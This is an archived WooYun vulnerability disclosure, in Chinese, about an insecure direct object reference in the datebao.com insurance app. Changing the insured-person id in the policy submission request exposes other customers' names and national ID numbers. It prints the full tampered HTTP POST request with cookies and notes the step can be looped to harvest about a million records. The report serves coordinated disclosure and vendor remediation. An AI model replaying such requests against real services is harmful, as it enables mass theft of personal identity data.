大特保某处未授权访问越权数十万被保人姓名/身份证泄露

admin
admin
admin
140350
文章
117
评论
2017年3月27日06:48:41评论357 views字数 218阅读0分43秒阅读模式
摘要

2016-03-22： 细节已通知厂商并且等待厂商处理中
2016-03-22： 厂商已经确认，细节仅向厂商公开
2016-04-01： 细节向核心白帽子及相关领域专家公开
2016-04-11： 细节向普通白帽子公开
2016-04-21： 细节向实习白帽子公开
2016-05-06： 细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-187544

漏洞标题： 大特保某处未授权访问越权数十万被保人姓名/身份证泄露

相关厂商： datebao.com

漏洞作者： Zhe

提交时间： 2016-03-22 08:21

公开时间： 2016-05-06 11:04

漏洞类型： 未授权访问/权限绕过

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2016-03-22： 细节已通知厂商并且等待厂商处理中
2016-03-22： 厂商已经确认，细节仅向厂商公开
2016-04-01： 细节向核心白帽子及相关领域专家公开
2016-04-11： 细节向普通白帽子公开
2016-04-21： 细节向实习白帽子公开
2016-05-06： 细节向公众公开

简要描述：

RT

详细说明：

http://android.myapp.com/myapp/detail.htm?apkName=com.datebao.datebaoapp

下载APP。版本v2.1

前期准备：

登陆自己的账号，随便去挑个保险，写上被保人信息，并选中。

大特保某处未授权访问越权数十万被保人姓名/身份证泄露

提交保单，此时抓包

大特保某处未授权访问越权数十万被保人姓名/身份证泄露

修改被保人id，例如改成1

大特保某处未授权访问越权数十万被保人姓名/身份证泄露

下单成功

去自己的保单列表中查看

多了一条被保人信息，内含用户姓名+身份证号。

大特保某处未授权访问越权数十万被保人姓名/身份证泄露

ps:下单操作，可多次调用，只需修改被保人id，即可将整站被保人信息盗取（100w）

code 区域 
POST http://m.datebao.com/order/postnewcreate HTTP/1.1
 Host: m.datebao.com
 Connection: keep-alive
 Referer: http://m.datebao.com/order/newcreate/85?client_type=ios&pk_campaign=from_android
 Content-Length: 212
 Pragma: no-cache
 Cache-Control: no-cache
 Origin: http://m.datebao.com
 X-Requested-With: XMLHttpRequest
 Content-Type: application/x-www-form-urlencoded
 Accept: application/json
 User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; Google Nexus 4 - 4.1.1 - API 16 - 768x1280_1 Build/JRO03S) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
 Accept-Encoding: gzip,deflate
 Accept-Language: zh-CN, en-US
 Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
 Cookie: buyinfo_85=%7B%22product_id%22%3A85%2C%22amount%22%3A200000%2C%22service_id%22%3A%5B%5D%2C%22insure_period_display%22%3A%221%5Cu5929%22%7D; aliyungf_tc=AQAAAD614HlB6A0AUZUv3quAKwxwwFD8; _jzqckmp=1; _pk_ref.1.157b=%5B%22from_android%22%2C%22%22%2C1458576677%2C%22%22%5D; dtb_distinct_id=lc3a13h7n9jf9m4qsc0ba9bgt4; PHPSESSID=lc3a13h7n9jf9m4qsc0ba9bgt4; CNZZDATA1253483918=1873767567-1458572942-%7C1458572942; _jzqa=1.753693462185160600.1458576677.1458576677.1458576677.1; _jzqc=1; _qzja=1.1206840329.1458576676721.1458576676721.1458576676722.1458576716796.1458576720415.0.0.0.6.1; _qzjb=1.1458576676721.6.0.0.0; _qzjc=1; _qzjto=6.1.0; _jzqb=1.6.10.1458576677.1; _pk_id.1.157b=1695f59e23ef94a0.1458576677.1.1458576721.1458576677.; _pk_ses.1.157b=*; ABTest=0; Hm_lpvt_f245b25ca1e1e865452bae2a3ce64c57=1458576850; Hm_lvt_f245b25ca1e1e865452bae2a3ce64c57=1458576850; laravel_session=eyJpdiI6IktVZjkrOUpaSUF6ZEZZSCtZXC9GRStBPT0iLCJ2YWx1ZSI6IjF5R1BBRlJiTmhvQmtUbFhTNHNHZkVQN3AzU3BaY1VkdGVnSkJDQm82bnRVWGsxRjcwc1pKRVhxNkN4RWRXZW9SRkM5azh4ZW8rc1EwSmJySEtSY0pRPT0iLCJtYWMiOiI3MTMzMTNmMmQ0YzQyZjE0YzliZjM5YzUxMzg2N2I4OTg2MDIzYzUzNjE0ZGY1NGMwMDliMDA2NDMyNDM0M2ZjIn0%3D; SERVERID=26ff511c03cf1d6451b5546b1d72f160|1458576850|1458576217
 
 insured%5Bfav_user_id%5D=1&holder%5Bmobile_number%5D=13333333333&policy%5Binsure_period_display%5D=1%E5%A4%A9&policy%5Bbegin_date%5D=2016-03-23&policy%5Bamount%5D=200000&policy%5Bcoupon_send_id%5D=0&product_id=85

漏洞证明：

修复方案：

有木有小礼品

此处遗漏权限控制

版权声明：转载请注明来源 Zhe@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2016-03-22 11:04

厂商回复：

确认

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin